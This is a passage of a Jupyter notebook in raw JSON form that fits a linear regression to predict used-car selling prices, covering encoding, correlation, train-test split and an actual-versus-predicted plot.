Datsun RediGO T Option 2017 250000 46000 Petrol \n","4 Honda Amaze VX i-DTEC 2014 450000 141000 Diesel \n","\n"," seller_type transmission owner \n","0 Individual Manual First Owner \n","1 Individual Manual First Owner \n","2 Individual Manual First Owner \n","3 Individual Manual First Owner \n","4 Individual Manual Second Owner "],"text/html":["\n","
\n","
\n","
\n","\n","\n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n","
nameyearselling_pricekm_drivenfuelseller_typetransmissionowner
0Maruti 800 AC20076000070000PetrolIndividualManualFirst Owner
1Maruti Wagon R LXI Minor200713500050000PetrolIndividualManualFirst Owner
2Hyundai Verna 1.6 SX2012600000100000DieselIndividualManualFirst Owner
3Datsun RediGO T Option201725000046000PetrolIndividualManualFirst Owner
4Honda Amaze VX i-DTEC2014450000141000DieselIndividualManualSecond Owner
\n","
\n"," \n"," \n"," \n","\n"," \n","
\n","
\n"," "]},"metadata":{},"execution_count":18}]},{"cell_type":"code","source":["data.shape"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"XULOEUelBd_w","executionInfo":{"status":"ok","timestamp":1683729028684,"user_tz":-330,"elapsed":8,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"58357cf7-eaf8-4ed6-9648-08c3b5d9445a"},"execution_count":19,"outputs":[{"output_type":"execute_result","data":{"text/plain":["(4340, 8)"]},"metadata":{},"execution_count":19}]},{"cell_type":"code","source":["data.info()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"7I8V_K6yBiIB","executionInfo":{"status":"ok","timestamp":1683729033074,"user_tz":-330,"elapsed":8,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"f115f2fd-3613-4372-c36c-d43f1af37dd8"},"execution_count":20,"outputs":[{"output_type":"stream","name":"stdout","text":["\n","RangeIndex: 4340 entries, 0 to 4339\n","Data columns (total 8 columns):\n"," # Column Non-Null Count Dtype \n","--- ------ -------------- ----- \n"," 0 name 4340 non-null object\n"," 1 year 4340 non-null int64 \n"," 2 selling_price 4340 non-null int64 \n"," 3 km_driven 4340 non-null int64 \n"," 4 fuel 4340 non-null object\n"," 5 seller_type 4340 non-null object\n"," 6 transmission 4340 non-null object\n"," 7 owner 4340 non-null object\n","dtypes: int64(3), object(5)\n","memory usage: 271.4+ KB\n"]}]},{"cell_type":"code","source":["data.isnull().sum()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"fC8vTAu9BsYK","executionInfo":{"status":"ok","timestamp":1683729087256,"user_tz":-330,"elapsed":2,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"13cd9f92-36a5-44cb-b323-9be173cb9644"},"execution_count":25,"outputs":[{"output_type":"execute_result","data":{"text/plain":["name 0\n","year 0\n","selling_price 0\n","km_driven 0\n","fuel 0\n","seller_type 0\n","transmission 0\n","owner 0\n","dtype: int64"]},"metadata":{},"execution_count":25}]},{"cell_type":"code","source":["p_data=data.dropna()\n","p_data.isnull().sum()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"5WMJy4vfB_rQ","executionInfo":{"status":"ok","timestamp":1683729092156,"user_tz":-330,"elapsed":18,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"5cd934c4-e107-42d5-a4b6-ebc768a5a0b0"},"execution_count":26,"outputs":[{"output_type":"execute_result","data":{"text/plain":["name 0\n","year 0\n","selling_price 0\n","km_driven 0\n","fuel 0\n","seller_type 0\n","transmission 0\n","owner 0\n","dtype: int64"]},"metadata":{},"execution_count":26}]},{"cell_type":"code","source":["p_data.info()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"i8VLNfzzCNIF","executionInfo":{"status":"ok","timestamp":1683729096544,"user_tz":-330,"elapsed":4,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"717f4ff7-2b92-463c-ad85-76a28e34c81a"},"execution_count":27,"outputs":[{"output_type":"stream","name":"stdout","text":["\n","RangeIndex: 4340 entries, 0 to 4339\n","Data columns (total 8 columns):\n"," # Column Non-Null Count Dtype \n","--- ------ -------------- ----- \n"," 0 name 4340 non-null object\n"," 1 year 4340 non-null int64 \n"," 2 selling_price 4340 non-null int64 \n"," 3 km_driven 4340 non-null int64 \n"," 4 fuel 4340 non-null object\n"," 5 seller_type 4340 non-null object\n"," 6 transmission 4340 non-null object\n"," 7 owner 4340 non-null object\n","dtypes: int64(3), object(5)\n","memory usage: 271.4+ KB\n"]}]},{"cell_type":"code","source":["p_data.fuel.value_counts()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"Xwmd3Fv7DLJq","executionInfo":{"status":"ok","timestamp":1683729178674,"user_tz":-330,"elapsed":3,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"d63f0f3c-c11f-4ef1-fe11-7c577fbd62c3"},"execution_count":31,"outputs":[{"output_type":"execute_result","data":{"text/plain":["Diesel 2153\n","Petrol 2123\n","CNG 40\n","LPG 23\n","Electric 1\n","Name: fuel, dtype: int64"]},"metadata":{},"execution_count":31}]},{"cell_type":"code","source":["p_data.seller_type.value_counts()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"ATWTmWg2FCUR","executionInfo":{"status":"ok","timestamp":1683729182425,"user_tz":-330,"elapsed":3,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"c82528f3-e9ef-4fdd-a1e0-8eea8ceafa95"},"execution_count":32,"outputs":[{"output_type":"execute_result","data":{"text/plain":["Individual 3244\n","Dealer 994\n","Trustmark Dealer 102\n","Name: seller_type, dtype: int64"]},"metadata":{},"execution_count":32}]},{"cell_type":"code","source":["p_data.transmission.value_counts()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"X-Iq35iPFCKj","executionInfo":{"status":"ok","timestamp":1683729189462,"user_tz":-330,"elapsed":5,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"fdd4297a-9a94-441f-80bd-a0783b4472fa"},"execution_count":33,"outputs":[{"output_type":"execute_result","data":{"text/plain":["Manual 3892\n","Automatic 448\n","Name: transmission, dtype: int64"]},"metadata":{},"execution_count":33}]},{"cell_type":"code","source":["p_data.owner.value_counts()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"-h0P53ruFLYP","executionInfo":{"status":"ok","timestamp":1683729212597,"user_tz":-330,"elapsed":9,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"9e44f0f9-b024-4a43-8b0e-61d70b7cfe20"},"execution_count":34,"outputs":[{"output_type":"execute_result","data":{"text/plain":["First Owner 2832\n","Second Owner 1106\n","Third Owner 304\n","Fourth & Above Owner 81\n","Test Drive Car 17\n","Name: owner, dtype: int64"]},"metadata":{},"execution_count":34}]},{"cell_type":"markdown","source":["Encoding the Categorical Data"],"metadata":{"id":"KZxdQtg8Fbog"}},{"cell_type":"code","source":["p_data.replace({'fuel':{'Petrol':0,'Diesel':1,'CNG':2,'LPG':3,'Electric':4}},inplace=True)\n","p_data.replace({'seller_type':{'Individual':0,'Dealer':1,'Trustmark Dealer':2}},inplace=True)\n","p_data.replace({'transmission':{'Manual':0,'Automatic':1}},inplace=True)\n","p_data.replace({'owner':{'First Owner':0,'Second Owner':1,'Third Owner':2,'Fourth & Above Owner':3,'Test Drive Car':4}},inplace=True)"],"metadata":{"id":"nFeEFsehFeMk","executionInfo":{"status":"ok","timestamp":1683733350357,"user_tz":-330,"elapsed":684,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":36,"outputs":[]},{"cell_type":"code","source":["p_data.head()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/","height":206},"id":"hMCvyfEWVEUh","executionInfo":{"status":"ok","timestamp":1683734282253,"user_tz":-330,"elapsed":2650,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"5140431f-8210-42bc-ae51-ebb0003c4308"},"execution_count":44,"outputs":[{"output_type":"execute_result","data":{"text/plain":[" name year selling_price km_driven fuel \\\n","0 Maruti 800 AC 2007 60000 70000 0 \n","1 Maruti Wagon R LXI Minor 2007 135000 50000 0 \n","2 Hyundai Verna 1.6 SX 2012 600000 100000 1 \n","3 Datsun RediGO T Option 2017 250000 46000 0 \n","4 Honda Amaze VX i-DTEC 2014 450000 141000 1 \n","\n"," seller_type transmission owner \n","0 0 0 0 \n","1 0 0 0 \n","2 0 0 0 \n","3 0 0 0 \n","4 0 0 1 "],"text/html":["\n","
\n","
\n","
\n","\n","\n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n","
nameyearselling_pricekm_drivenfuelseller_typetransmissionowner
0Maruti 800 AC200760000700000000
1Maruti Wagon R LXI Minor2007135000500000000
2Hyundai Verna 1.6 SX20126000001000001000
3Datsun RediGO T Option2017250000460000000
4Honda Amaze VX i-DTEC20144500001410001001
\n","
\n"," \n"," \n"," \n","\n"," \n","
\n","
\n"," "]},"metadata":{},"execution_count":44}]},{"cell_type":"code","source":["p_data.corr()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/","height":324},"id":"h6V6nHtCarJR","executionInfo":{"status":"ok","timestamp":1683734846011,"user_tz":-330,"elapsed":8,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"d7a4d0b3-e06d-4c71-d861-75626295f679"},"execution_count":62,"outputs":[{"output_type":"stream","name":"stderr","text":[":1: FutureWarning: The default value of numeric_only in DataFrame.corr is deprecated. In a future version, it will default to False. Select only valid columns or specify the value of numeric_only to silence this warning.\n"," p_data.corr()\n"]},{"output_type":"execute_result","data":{"text/plain":[" year selling_price km_driven fuel seller_type \\\n","year 1.000000 0.413922 -0.419688 0.090388 0.182458 \n","selling_price 0.413922 1.000000 -0.192289 0.226883 0.240666 \n","km_driven -0.419688 -0.192289 1.000000 0.274760 -0.187131 \n","fuel 0.090388 0.226883 0.274760 1.000000 0.011358 \n","seller_type 0.182458 0.240666 -0.187131 0.011358 1.000000 \n","transmission 0.143800 0.530205 -0.120226 0.027507 0.200191 \n","owner -0.410448 -0.198833 0.274409 0.015318 -0.211115 \n","\n"," transmission owner \n","year 0.143800 -0.410448 \n","selling_price 0.530205 -0.198833 \n","km_driven -0.120226 0.274409 \n","fuel 0.027507 0.015318 \n","seller_type 0.200191 -0.211115 \n","transmission 1.000000 -0.083924 \n","owner -0.083924 1.000000 "],"text/html":["\n","
\n","
\n","
\n","\n","\n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n"," \n","
yearselling_pricekm_drivenfuelseller_typetransmissionowner
year1.0000000.413922-0.4196880.0903880.1824580.143800-0.410448
selling_price0.4139221.000000-0.1922890.2268830.2406660.530205-0.198833
km_driven-0.419688-0.1922891.0000000.274760-0.187131-0.1202260.274409
fuel0.0903880.2268830.2747601.0000000.0113580.0275070.015318
seller_type0.1824580.240666-0.1871310.0113581.0000000.200191-0.211115
transmission0.1438000.530205-0.1202260.0275070.2001911.000000-0.083924
owner-0.410448-0.1988330.2744090.015318-0.211115-0.0839241.000000
\n","
\n"," \n"," \n"," \n","\n"," \n","
\n","
\n"," "]},"metadata":{},"execution_count":62}]},{"cell_type":"markdown","source":["Splitting into Data and Target"],"metadata":{"id":"uoxlodyHVdQ1"}},{"cell_type":"code","source":["x=p_data.drop(['name','selling_price','owner'],axis=1)\n","y=p_data['selling_price']"],"metadata":{"id":"oYrZUdMIV9NN","executionInfo":{"status":"ok","timestamp":1683734868903,"user_tz":-330,"elapsed":933,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":63,"outputs":[]},{"cell_type":"code","source":["print(x)"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"zP0CY4nTWpnh","executionInfo":{"status":"ok","timestamp":1683734872982,"user_tz":-330,"elapsed":660,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"3b4b496a-f584-4018-95b0-bad3ab7ea018"},"execution_count":64,"outputs":[{"output_type":"stream","name":"stdout","text":[" year km_driven fuel seller_type transmission\n","0 2007 70000 0 0 0\n","1 2007 50000 0 0 0\n","2 2012 100000 1 0 0\n","3 2017 46000 0 0 0\n","4 2014 141000 1 0 0\n","... ... ... ... ... ...\n","4335 2014 80000 1 0 0\n","4336 2014 80000 1 0 0\n","4337 2009 83000 0 0 0\n","4338 2016 90000 1 0 0\n","4339 2016 40000 0 0 0\n","\n","[4340 rows x 5 columns]\n"]}]},{"cell_type":"code","source":["print(y)"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"aKWJwnNJWyEs","executionInfo":{"status":"ok","timestamp":1683734882665,"user_tz":-330,"elapsed":518,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"fe4faa13-253d-4eb9-b800-df27908df84d"},"execution_count":65,"outputs":[{"output_type":"stream","name":"stdout","text":["0 60000\n","1 135000\n","2 600000\n","3 250000\n","4 450000\n"," ... \n","4335 409999\n","4336 409999\n","4337 110000\n","4338 865000\n","4339 225000\n","Name: selling_price, Length: 4340, dtype: int64\n"]}]},{"cell_type":"markdown","source":["Now we divide into train and test data"],"metadata":{"id":"GsrRdrF0XGEk"}},{"cell_type":"code","source":["x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.1, random_state=1)"],"metadata":{"id":"Zbn6bj8IXKrq","executionInfo":{"status":"ok","timestamp":1683735132546,"user_tz":-330,"elapsed":1950,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":77,"outputs":[]},{"cell_type":"markdown","source":["Training the Model"],"metadata":{"id":"L8rXlvlHXfar"}},{"cell_type":"code","source":["lr=LinearRegression()"],"metadata":{"id":"cdOcm-A6Xbya","executionInfo":{"status":"ok","timestamp":1683735235556,"user_tz":-330,"elapsed":902,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":82,"outputs":[]},{"cell_type":"code","source":["lr.fit(x_train,y_train)"],"metadata":{"colab":{"base_uri":"https://localhost:8080/","height":75},"id":"-uNP25bCY0Fq","executionInfo":{"status":"ok","timestamp":1683735239327,"user_tz":-330,"elapsed":6,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"deed27b0-476b-454f-e777-5844464c9511"},"execution_count":83,"outputs":[{"output_type":"execute_result","data":{"text/plain":["LinearRegression()"],"text/html":["
LinearRegression()
In a Jupyter environment, please rerun this cell to show the HTML representation or trust the notebook.
On GitHub, the HTML representation is unable to render, please try loading this page with nbviewer.org.
"]},"metadata":{},"execution_count":83}]},{"cell_type":"code","source":["predicted_data=lr.predict(x_train)"],"metadata":{"id":"now3uDZjY9iA","executionInfo":{"status":"ok","timestamp":1683735242655,"user_tz":-330,"elapsed":6,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}}},"execution_count":84,"outputs":[]},{"cell_type":"code","source":["r2 = metrics.r2_score(y_train, predicted_data)\n","print(\"R squared Error : \", r2)"],"metadata":{"colab":{"base_uri":"https://localhost:8080/"},"id":"fWc-n-c2ZQwF","executionInfo":{"status":"ok","timestamp":1683735947461,"user_tz":-330,"elapsed":1552,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"375ba482-27f3-45b3-aadf-05899b131212"},"execution_count":87,"outputs":[{"output_type":"stream","name":"stdout","text":["R squared Error : 0.43429431587332146\n"]}]},{"cell_type":"code","source":["plt.scatter(y_train, predicted_data)\n","plt.xlabel(\"Actual Price\")\n","plt.ylabel(\"Predicted Price\")\n","plt.title(\" Actual Prices vs Predicted Prices\")\n","plt.show()"],"metadata":{"colab":{"base_uri":"https://localhost:8080/","height":472},"id":"xysx52yHdKoi","executionInfo":{"status":"ok","timestamp":1683735528109,"user_tz":-330,"elapsed":905,"user":{"displayName":"Subhradip Bodhak","userId":"13140683022263773524"}},"outputId":"d057f6ba-0e07-4a37-bff4-d2cc0a31d1ce"},"execution_count":86,"outputs":[{"output_type":"display_data","data":{"text/plain":["
"],"image/png":"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